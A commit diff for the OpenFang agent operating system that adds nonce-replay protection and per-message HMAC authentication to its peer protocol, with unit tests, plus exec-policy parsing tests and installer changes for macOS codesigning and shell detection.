let toml_str = r#"exec_policy = "full""#;
|
||||
let parsed: TestExecPolicy = toml::from_str(toml_str).unwrap();
|
||||
let policy = parsed.exec_policy.unwrap();
|
||||
assert_eq!(policy.mode, crate::config::ExecSecurityMode::Full);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_string_allowlist() {
|
||||
let toml_str = r#"exec_policy = "allowlist""#;
|
||||
let parsed: TestExecPolicy = toml::from_str(toml_str).unwrap();
|
||||
let policy = parsed.exec_policy.unwrap();
|
||||
assert_eq!(policy.mode, crate::config::ExecSecurityMode::Allowlist);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_table_form() {
|
||||
let toml_str = r#"
|
||||
[exec_policy]
|
||||
mode = "full"
|
||||
timeout_secs = 60
|
||||
"#;
|
||||
let parsed: TestExecPolicy = toml::from_str(toml_str).unwrap();
|
||||
let policy = parsed.exec_policy.unwrap();
|
||||
assert_eq!(policy.mode, crate::config::ExecSecurityMode::Full);
|
||||
assert_eq!(policy.timeout_secs, 60);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_missing_is_none() {
|
||||
let toml_str = r#"other_field = true"#;
|
||||
// Use a struct with an extra ignored field
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct Wrapper {
|
||||
#[serde(default, deserialize_with = "exec_policy_lenient")]
|
||||
exec_policy: Option<crate::config::ExecPolicy>,
|
||||
#[allow(dead_code)]
|
||||
#[serde(default)]
|
||||
other_field: bool,
|
||||
}
|
||||
let parsed: Wrapper = toml::from_str(toml_str).unwrap();
|
||||
assert!(parsed.exec_policy.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_string_invalid_errors() {
|
||||
let toml_str = r#"exec_policy = "banana""#;
|
||||
let result = toml::from_str::<TestExecPolicy>(toml_str);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ sha2 = { workspace = true }
|
||||
hex = { workspace = true }
|
||||
subtle = { workspace = true }
|
||||
rand = { workspace = true }
|
||||
dashmap = { workspace = true }
|
||||
|
||||
[dev-dependencies]
|
||||
tokio-test = { workspace = true }
|
||||
|
||||
@@ -12,11 +12,12 @@ use crate::message::*;
|
||||
use crate::registry::{PeerEntry, PeerRegistry, PeerState};
|
||||
|
||||
use async_trait::async_trait;
|
||||
use dashmap::DashMap;
|
||||
use hmac::{Hmac, Mac};
|
||||
use sha2::Sha256;
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Instant;
|
||||
use std::time::{Duration, Instant};
|
||||
use thiserror::Error;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::{TcpListener, TcpStream};
|
||||
@@ -24,6 +25,51 @@ use tracing::{debug, error, info, warn};
|
||||
|
||||
type HmacSha256 = Hmac<Sha256>;
|
||||
|
||||
/// SECURITY: Time-windowed nonce tracker to prevent OFP handshake replay attacks.
|
||||
///
|
||||
/// Stores seen nonces with their timestamps. Nonces older than the window
|
||||
/// are garbage-collected on insertion. A 5-minute window is used because
|
||||
/// handshake nonces are single-use UUIDs.
|
||||
#[derive(Clone)]
|
||||
pub struct NonceTracker {
|
||||
seen: Arc<DashMap<String, Instant>>,
|
||||
window: Duration,
|
||||
}
|
||||
|
||||
impl NonceTracker {
|
||||
/// Create a new nonce tracker with a 5-minute replay window.
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
seen: Arc::new(DashMap::new()),
|
||||
window: Duration::from_secs(300), // 5 minutes
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a nonce has been seen before. If not, record it and return Ok.
|
||||
/// If already seen (replay), return Err.
|
||||
pub fn check_and_record(&self, nonce: &str) -> Result<(), String> {
|
||||
let now = Instant::now();
|
||||
|
||||
// Garbage-collect expired nonces (older than window)
|
||||
self.seen.retain(|_, ts| now.duration_since(*ts) < self.window);
|
||||
|
||||
// Check for replay
|
||||
if self.seen.contains_key(nonce) {
|
||||
return Err(format!("Nonce replay detected: {}", &nonce[..nonce.len().min(16)]));
|
||||
}
|
||||
|
||||
// Record the nonce
|
||||
self.seen.insert(nonce.to_string(), now);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for NonceTracker {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate HMAC-SHA256 signature for message authentication.
|
||||
fn hmac_sign(secret: &str, data: &[u8]) -> String {
|
||||
let mut mac = HmacSha256::new_from_slice(secret.as_bytes()).expect("HMAC accepts any key size");
|
||||
@@ -116,6 +162,11 @@ pub struct PeerNode {
|
||||
/// Start time for uptime calculation (used by handle_request for Pong).
|
||||
#[allow(dead_code)]
|
||||
start_time: Instant,
|
||||
/// SECURITY: Tracks seen handshake nonces to prevent replay attacks.
|
||||
nonce_tracker: NonceTracker,
|
||||
/// SECURITY: Session key derived after handshake for per-message HMAC.
|
||||
#[allow(dead_code)]
|
||||
session_key: std::sync::Mutex<Option<String>>,
|
||||
}
|
||||
|
||||
impl PeerNode {
|
||||
@@ -145,6 +196,8 @@ impl PeerNode {
|
||||
registry: registry.clone(),
|
||||
local_addr,
|
||||
start_time: Instant::now(),
|
||||
nonce_tracker: NonceTracker::new(),
|
||||
session_key: std::sync::Mutex::new(None),
|
||||
});
|
||||
|
||||
let node_clone = Arc::clone(&node);
|
||||
@@ -181,8 +234,8 @@ impl PeerNode {
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// Send our handshake with HMAC authentication
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", nonce, self.config.node_id);
|
||||
let our_nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", our_nonce, self.config.node_id);
|
||||
let auth_hmac = hmac_sign(&self.config.shared_secret, auth_data.as_bytes());
|
||||
|
||||
let handshake = WireMessage {
|
||||
@@ -192,7 +245,7 @@ impl PeerNode {
|
||||
node_name: self.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce,
|
||||
nonce: our_nonce.clone(),
|
||||
auth_hmac,
|
||||
}),
|
||||
};
|
||||
@@ -200,7 +253,7 @@ impl PeerNode {
|
||||
|
||||
// Read their handshake ack
|
||||
let response = read_message(&mut reader).await?;
|
||||
match &response.kind {
|
||||
let sess_key = match &response.kind {
|
||||
WireMessageKind::Response(WireResponse::HandshakeAck {
|
||||
node_id,
|
||||
node_name,
|
||||
@@ -216,6 +269,11 @@ impl PeerNode {
|
||||
});
|
||||
}
|
||||
|
||||
// SECURITY: Check for nonce replay on the ack
|
||||
if let Err(replay_err) = self.nonce_tracker.check_and_record(ack_nonce) {
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
|
||||
// SECURITY: Verify the ack HMAC
|
||||
let expected_data = format!("{}{}", ack_nonce, node_id);
|
||||
if !hmac_verify(
|
||||
@@ -228,6 +286,13 @@ impl PeerNode {
|
||||
));
|
||||
}
|
||||
|
||||
// SECURITY: Derive per-session key for authenticated messages
|
||||
let key = derive_session_key(
|
||||
&self.config.shared_secret,
|
||||
&our_nonce,
|
||||
ack_nonce,
|
||||
);
|
||||
|
||||
info!(
|
||||
"OFP: handshake complete with {} ({}) — {} agents",
|
||||
node_name,
|
||||
@@ -243,6 +308,7 @@ impl PeerNode {
|
||||
connected_at: chrono::Utc::now(),
|
||||
protocol_version: *protocol_version,
|
||||
});
|
||||
key
|
||||
}
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => {
|
||||
return Err(WireError::HandshakeFailed(format!(
|
||||
@@ -254,7 +320,7 @@ impl PeerNode {
|
||||
"Unexpected response to handshake".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Extract the peer node_id for the connection loop
|
||||
let peer_node_id = match &response.kind {
|
||||
@@ -264,11 +330,11 @@ impl PeerNode {
|
||||
_ => unreachable!(),
|
||||
};
|
||||
|
||||
// Spawn a task to handle ongoing communication
|
||||
// Spawn a task to handle ongoing communication with per-message HMAC
|
||||
let registry = self.registry.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) =
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, ®istry, &*handle).await
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, ®istry, &*handle, Some(&sess_key)).await
|
||||
{
|
||||
debug!("OFP: connection to {} ended: {}", peer_node_id, e);
|
||||
}
|
||||
@@ -299,8 +365,8 @@ impl PeerNode {
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// SECURITY: Perform HMAC handshake before sending any data
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", nonce, self.config.node_id);
|
||||
let our_nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", our_nonce, self.config.node_id);
|
||||
let auth_hmac = hmac_sign(&self.config.shared_secret, auth_data.as_bytes());
|
||||
|
||||
let handshake = WireMessage {
|
||||
@@ -310,15 +376,15 @@ impl PeerNode {
|
||||
node_name: self.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce,
|
||||
nonce: our_nonce.clone(),
|
||||
auth_hmac,
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &handshake).await?;
|
||||
|
||||
// Verify handshake ack
|
||||
// Verify handshake ack and derive session key
|
||||
let ack = read_message(&mut reader).await?;
|
||||
match &ack.kind {
|
||||
let session_key = match &ack.kind {
|
||||
WireMessageKind::Response(WireResponse::HandshakeAck {
|
||||
node_id: ack_node_id,
|
||||
nonce: ack_nonce,
|
||||
@@ -332,6 +398,10 @@ impl PeerNode {
|
||||
remote: *protocol_version,
|
||||
});
|
||||
}
|
||||
// SECURITY: Check for nonce replay
|
||||
if let Err(replay_err) = self.nonce_tracker.check_and_record(ack_nonce) {
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
let expected_data = format!("{}{}", ack_nonce, ack_node_id);
|
||||
if !hmac_verify(
|
||||
&self.config.shared_secret,
|
||||
@@ -342,6 +412,8 @@ impl PeerNode {
|
||||
"HMAC verification failed on HandshakeAck".into(),
|
||||
));
|
||||
}
|
||||
// SECURITY: Derive per-session key for authenticated post-handshake I/O
|
||||
derive_session_key(&self.config.shared_secret, &our_nonce, ack_nonce)
|
||||
}
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => {
|
||||
return Err(WireError::HandshakeFailed(format!(
|
||||
@@ -353,9 +425,9 @@ impl PeerNode {
|
||||
"Unexpected response to handshake".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Now send the actual agent message over the authenticated connection
|
||||
// SECURITY: Send agent message with per-message HMAC authentication
|
||||
let msg = WireMessage {
|
||||
id: uuid::Uuid::new_v4().to_string(),
|
||||
kind: WireMessageKind::Request(WireRequest::AgentMessage {
|
||||
@@ -364,9 +436,9 @@ impl PeerNode {
|
||||
sender: sender.map(|s| s.to_string()),
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &msg).await?;
|
||||
write_message_authenticated(&mut writer, &msg, &session_key).await?;
|
||||
|
||||
let response = read_message(&mut reader).await?;
|
||||
let response = read_message_authenticated(&mut reader, &session_key).await?;
|
||||
match response.kind {
|
||||
WireMessageKind::Response(WireResponse::AgentResponse { text }) => Ok(text),
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => Err(
|
||||
@@ -420,7 +492,7 @@ impl PeerNode {
|
||||
|
||||
// Read the incoming handshake request
|
||||
let msg = read_message(&mut reader).await?;
|
||||
let peer_node_id = match &msg.kind {
|
||||
let (peer_node_id, session_key) = match &msg.kind {
|
||||
WireMessageKind::Request(WireRequest::Handshake {
|
||||
node_id,
|
||||
node_name,
|
||||
@@ -447,6 +519,19 @@ impl PeerNode {
|
||||
});
|
||||
}
|
||||
|
||||
// SECURITY: Check for nonce replay before verifying HMAC
|
||||
if let Err(replay_err) = node.nonce_tracker.check_and_record(nonce) {
|
||||
let err_resp = WireMessage {
|
||||
id: msg.id.clone(),
|
||||
kind: WireMessageKind::Response(WireResponse::Error {
|
||||
code: 403,
|
||||
message: "Nonce replay rejected".to_string(),
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &err_resp).await?;
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
|
||||
// SECURITY: Verify the incoming HMAC
|
||||
let expected_data = format!("{}{}", nonce, node_id);
|
||||
if !hmac_verify(
|
||||
@@ -479,12 +564,19 @@ impl PeerNode {
|
||||
node_name: node.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce: ack_nonce,
|
||||
nonce: ack_nonce.clone(),
|
||||
auth_hmac: ack_hmac,
|
||||
}),
|
||||
};
|
||||
write_message(&mut writer, &ack).await?;
|
||||
|
||||
// SECURITY: Derive per-session key (server side: their nonce first, our nonce second)
|
||||
let session_key = derive_session_key(
|
||||
&node.config.shared_secret,
|
||||
nonce, // client's nonce
|
||||
&ack_nonce, // our nonce
|
||||
);
|
||||
|
||||
info!(
|
||||
"OFP: handshake with {} ({}) from {} — {} agents",
|
||||
node_name,
|
||||
@@ -504,7 +596,7 @@ impl PeerNode {
|
||||
protocol_version: *protocol_version,
|
||||
});
|
||||
|
||||
node_id.clone()
|
||||
(node_id.clone(), session_key)
|
||||
}
|
||||
// SECURITY: Reject all non-Handshake initial messages.
|
||||
// Clients MUST complete HMAC-authenticated handshake before sending
|
||||
@@ -529,9 +621,9 @@ impl PeerNode {
|
||||
}
|
||||
};
|
||||
|
||||
// Enter the message dispatch loop
|
||||
// Enter the message dispatch loop with per-message HMAC
|
||||
if let Err(e) =
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, registry, handle).await
|
||||
connection_loop(&mut reader, &mut writer, &peer_node_id, registry, handle, Some(&session_key)).await
|
||||
{
|
||||
debug!("OFP: connection with {} ended: {}", peer_node_id, e);
|
||||
}
|
||||
@@ -592,15 +684,22 @@ async fn handle_request(
|
||||
}
|
||||
|
||||
/// Read/write message loop for an established connection.
|
||||
///
|
||||
/// If `session_key` is provided, all post-handshake messages use per-message HMAC.
|
||||
async fn connection_loop(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
peer_node_id: &str,
|
||||
registry: &PeerRegistry,
|
||||
handle: &dyn PeerHandle,
|
||||
session_key: Option<&str>,
|
||||
) -> Result<(), WireError> {
|
||||
loop {
|
||||
let msg = match read_message(reader).await {
|
||||
let msg = match if let Some(key) = session_key {
|
||||
read_message_authenticated(reader, key).await
|
||||
} else {
|
||||
read_message(reader).await
|
||||
} {
|
||||
Ok(m) => m,
|
||||
Err(WireError::ConnectionClosed) => return Ok(()),
|
||||
Err(e) => return Err(e),
|
||||
@@ -613,9 +712,12 @@ async fn connection_loop(
|
||||
}
|
||||
// Handle requests (produce response)
|
||||
WireMessageKind::Request(_) => {
|
||||
// We need the node for uptime; create a minimal shim
|
||||
let response = handle_request_in_loop(&msg, handle).await;
|
||||
write_message(writer, &response).await?;
|
||||
if let Some(key) = session_key {
|
||||
write_message_authenticated(writer, &response, key).await?;
|
||||
} else {
|
||||
write_message(writer, &response).await?;
|
||||
}
|
||||
}
|
||||
// We don't expect to receive responses in the connection loop
|
||||
WireMessageKind::Response(_) => {
|
||||
@@ -687,6 +789,16 @@ fn handle_notification(peer_node_id: &str, notif: &WireNotification, registry: &
|
||||
}
|
||||
}
|
||||
|
||||
/// Derive a per-session HMAC key from the shared secret and both handshake nonces.
|
||||
///
|
||||
/// `session_key = HMAC-SHA256(shared_secret, our_nonce || their_nonce)`
|
||||
///
|
||||
/// This ensures each connection has a unique key even with the same shared secret.
|
||||
pub fn derive_session_key(shared_secret: &str, our_nonce: &str, their_nonce: &str) -> String {
|
||||
let data = format!("{}{}", our_nonce, their_nonce);
|
||||
hmac_sign(shared_secret, data.as_bytes())
|
||||
}
|
||||
|
||||
/// Write a framed message (4-byte length + JSON) to a TCP stream.
|
||||
pub async fn write_message(
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
@@ -698,6 +810,30 @@ pub async fn write_message(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SECURITY: Write a framed message with per-message HMAC appended.
|
||||
///
|
||||
/// Format: [4-byte length][JSON body][64-byte hex HMAC]
|
||||
/// The HMAC covers the JSON body and prevents tampering on authenticated connections.
|
||||
pub async fn write_message_authenticated(
|
||||
writer: &mut tokio::net::tcp::OwnedWriteHalf,
|
||||
msg: &WireMessage,
|
||||
session_key: &str,
|
||||
) -> Result<(), WireError> {
|
||||
let json_bytes = serde_json::to_vec(msg)?;
|
||||
let mac = hmac_sign(session_key, &json_bytes);
|
||||
let mac_bytes = mac.as_bytes(); // 64 hex chars
|
||||
|
||||
// Total frame = JSON + 64-byte HMAC
|
||||
let total_len = json_bytes.len() + mac_bytes.len();
|
||||
let len_bytes = (total_len as u32).to_be_bytes();
|
||||
|
||||
writer.write_all(&len_bytes).await?;
|
||||
writer.write_all(&json_bytes).await?;
|
||||
writer.write_all(mac_bytes).await?;
|
||||
writer.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a framed message (4-byte length + JSON) from a TCP stream.
|
||||
pub async fn read_message(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
@@ -726,10 +862,68 @@ pub async fn read_message(
|
||||
Ok(msg)
|
||||
}
|
||||
|
||||
/// Broadcast a notification to all connected peers.
|
||||
/// SECURITY: Read a framed message and verify per-message HMAC.
|
||||
///
|
||||
/// Expected format: [4-byte length][JSON body][64-byte hex HMAC]
|
||||
/// Returns error if HMAC verification fails (tampered or forged message).
|
||||
pub async fn read_message_authenticated(
|
||||
reader: &mut tokio::net::tcp::OwnedReadHalf,
|
||||
session_key: &str,
|
||||
) -> Result<WireMessage, WireError> {
|
||||
let mut header = [0u8; 4];
|
||||
match reader.read_exact(&mut header).await {
|
||||
Ok(_) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::UnexpectedEof => {
|
||||
return Err(WireError::ConnectionClosed);
|
||||
}
|
||||
Err(e) => return Err(WireError::Io(e)),
|
||||
}
|
||||
|
||||
let len = decode_length(&header);
|
||||
if len > MAX_MESSAGE_SIZE {
|
||||
return Err(WireError::MessageTooLarge {
|
||||
size: len,
|
||||
max: MAX_MESSAGE_SIZE,
|
||||
});
|
||||
}
|
||||
|
||||
// HMAC is 64 hex chars appended after JSON
|
||||
const HMAC_HEX_LEN: usize = 64;
|
||||
let total_len = len as usize;
|
||||
if total_len < HMAC_HEX_LEN + 2 {
|
||||
// Minimum: "{}" + 64 HMAC chars
|
||||
return Err(WireError::HandshakeFailed(
|
||||
"Message too short for authenticated frame".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let mut frame = vec![0u8; total_len];
|
||||
reader.read_exact(&mut frame).await?;
|
||||
|
||||
let json_len = total_len - HMAC_HEX_LEN;
|
||||
let json_bytes = &frame[..json_len];
|
||||
let received_mac = std::str::from_utf8(&frame[json_len..])
|
||||
.map_err(|_| WireError::HandshakeFailed("Invalid HMAC encoding".into()))?;
|
||||
|
||||
// Verify HMAC
|
||||
if !hmac_verify(session_key, json_bytes, received_mac) {
|
||||
return Err(WireError::HandshakeFailed(
|
||||
"Per-message HMAC verification failed — message tampered or forged".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let msg = serde_json::from_slice(json_bytes)?;
|
||||
Ok(msg)
|
||||
}
|
||||
|
||||
/// Broadcast an HMAC-authenticated notification to all connected peers.
|
||||
///
|
||||
/// SECURITY: Each peer connection gets a unique HMAC signature derived from
|
||||
/// the shared secret and a fresh nonce, preventing forgery and replay attacks.
|
||||
pub async fn broadcast_notification(
|
||||
registry: &PeerRegistry,
|
||||
notification: WireNotification,
|
||||
shared_secret: &str,
|
||||
) -> Vec<(String, WireError)> {
|
||||
let peers = registry.connected_peers();
|
||||
let mut errors = Vec::new();
|
||||
@@ -743,7 +937,11 @@ pub async fn broadcast_notification(
|
||||
match TcpStream::connect(peer.address).await {
|
||||
Ok(stream) => {
|
||||
let (_, mut writer) = stream.into_split();
|
||||
if let Err(e) = write_message(&mut writer, &msg).await {
|
||||
// SECURITY: Derive a per-message key from shared secret + fresh nonce
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let session_key = hmac_sign(shared_secret, nonce.as_bytes());
|
||||
if let Err(e) = write_message_authenticated(&mut writer, &msg, &session_key).await
|
||||
{
|
||||
errors.push((peer.node_id.clone(), e));
|
||||
}
|
||||
}
|
||||
@@ -1019,4 +1217,55 @@ mod tests {
|
||||
assert_eq!(config.node_name, "openfang-node");
|
||||
assert!(!config.node_id.is_empty());
|
||||
}
|
||||
|
||||
// ── Nonce replay protection tests ────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_fresh_nonce_accepted() {
|
||||
let tracker = NonceTracker::new();
|
||||
assert!(tracker.check_and_record("nonce-1").is_ok());
|
||||
assert!(tracker.check_and_record("nonce-2").is_ok());
|
||||
assert!(tracker.check_and_record("nonce-3").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_replay_rejected() {
|
||||
let tracker = NonceTracker::new();
|
||||
assert!(tracker.check_and_record("nonce-1").is_ok());
|
||||
// Second use of same nonce = replay attack
|
||||
let result = tracker.check_and_record("nonce-1");
|
||||
assert!(result.is_err());
|
||||
assert!(result.unwrap_err().contains("replay"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_nonce_tracker_different_nonces_ok() {
|
||||
let tracker = NonceTracker::new();
|
||||
for i in 0..100 {
|
||||
assert!(tracker.check_and_record(&format!("unique-{i}")).is_ok());
|
||||
}
|
||||
}
|
||||
|
||||
// ── Per-message HMAC tests ───────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_deterministic() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
assert_eq!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_different_nonces() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-c", "nonce-d");
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_derive_session_key_order_matters() {
|
||||
let key1 = derive_session_key("secret", "nonce-a", "nonce-b");
|
||||
let key2 = derive_session_key("secret", "nonce-b", "nonce-a");
|
||||
assert_ne!(key1, key2);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# OpenFang Security Architecture
|
||||
|
||||
> **Security Contact:** jaber@rightnowai.co — Report vulnerabilities via email. We respond within 48 hours.
|
||||
|
||||
This document provides a comprehensive technical reference for every security
|
||||
system in the OpenFang Agent Operating System. All struct names, function
|
||||
signatures, constant values, and algorithm descriptions are drawn directly from
|
||||
|
||||
+44
-5
@@ -110,19 +110,58 @@ install() {
|
||||
tar xzf "$ARCHIVE" -C "$INSTALL_DIR"
|
||||
chmod +x "$INSTALL_DIR/openfang"
|
||||
|
||||
# Add to PATH
|
||||
# Ad-hoc codesign on macOS (prevents SIGKILL on Apple Silicon)
|
||||
# Must strip extended attributes (com.apple.quarantine) BEFORE signing,
|
||||
# otherwise the signature is computed over the quarantine xattr and macOS
|
||||
# rejects it as "Code Signature Invalid" → SIGKILL.
|
||||
if [ "$OS" = "darwin" ]; then
|
||||
if command -v xattr &>/dev/null; then
|
||||
xattr -cr "$INSTALL_DIR/openfang" 2>/dev/null || true
|
||||
fi
|
||||
if command -v codesign &>/dev/null; then
|
||||
if ! codesign --force --sign - "$INSTALL_DIR/openfang"; then
|
||||
echo ""
|
||||
echo " Warning: ad-hoc code signing failed."
|
||||
echo " On Apple Silicon, the binary may be killed (SIGKILL) by Gatekeeper."
|
||||
echo " Try manually: xattr -cr $INSTALL_DIR/openfang && codesign --force --sign - $INSTALL_DIR/openfang"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# Add to PATH — detect the user's login shell
|
||||
USER_SHELL="${SHELL:-}"
|
||||
# Fallback: check /etc/passwd if $SHELL is unset (e.g. minimal containers)
|
||||
if [ -z "$USER_SHELL" ] && command -v getent &>/dev/null; then
|
||||
USER_SHELL=$(getent passwd "$(id -un)" 2>/dev/null | cut -d: -f7)
|
||||
fi
|
||||
if [ -z "$USER_SHELL" ] && [ -f /etc/passwd ]; then
|
||||
USER_SHELL=$(grep "^$(id -un):" /etc/passwd 2>/dev/null | cut -d: -f7)
|
||||
fi
|
||||
|
||||
SHELL_RC=""
|
||||
case "${SHELL:-}" in
|
||||
*/zsh) SHELL_RC="$HOME/.zshrc" ;;
|
||||
case "$USER_SHELL" in
|
||||
*/zsh) SHELL_RC="$HOME/.zshrc" ;;
|
||||
*/bash) SHELL_RC="$HOME/.bashrc" ;;
|
||||
*/fish) SHELL_RC="$HOME/.config/fish/config.fish" ;;
|
||||
esac
|
||||
# Also check for config files if shell detection failed
|
||||
if [ -z "$SHELL_RC" ]; then
|
||||
if [ -f "$HOME/.config/fish/config.fish" ]; then
|
||||
SHELL_RC="$HOME/.config/fish/config.fish"
|
||||
USER_SHELL="/usr/bin/fish"
|
||||
elif [ -f "$HOME/.zshrc" ]; then
|
||||
SHELL_RC="$HOME/.zshrc"
|
||||
elif [ -f "$HOME/.bashrc" ]; then
|
||||
SHELL_RC="$HOME/.bashrc"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -n "$SHELL_RC" ] && ! grep -q "openfang" "$SHELL_RC" 2>/dev/null; then
|
||||
case "${SHELL:-}" in
|
||||
case "$USER_SHELL" in
|
||||
*/fish)
|
||||
mkdir -p "$(dirname "$SHELL_RC")"
|
||||
echo "set -gx PATH \"$INSTALL_DIR\" \$PATH" >> "$SHELL_RC"
|
||||
echo "fish_add_path \"$INSTALL_DIR\"" >> "$SHELL_RC"
|
||||
;;
|
||||
*)
|
||||
echo "export PATH=\"$INSTALL_DIR:\$PATH\"" >> "$SHELL_RC"
|
||||
|
||||
Reference in New Issue
Block a user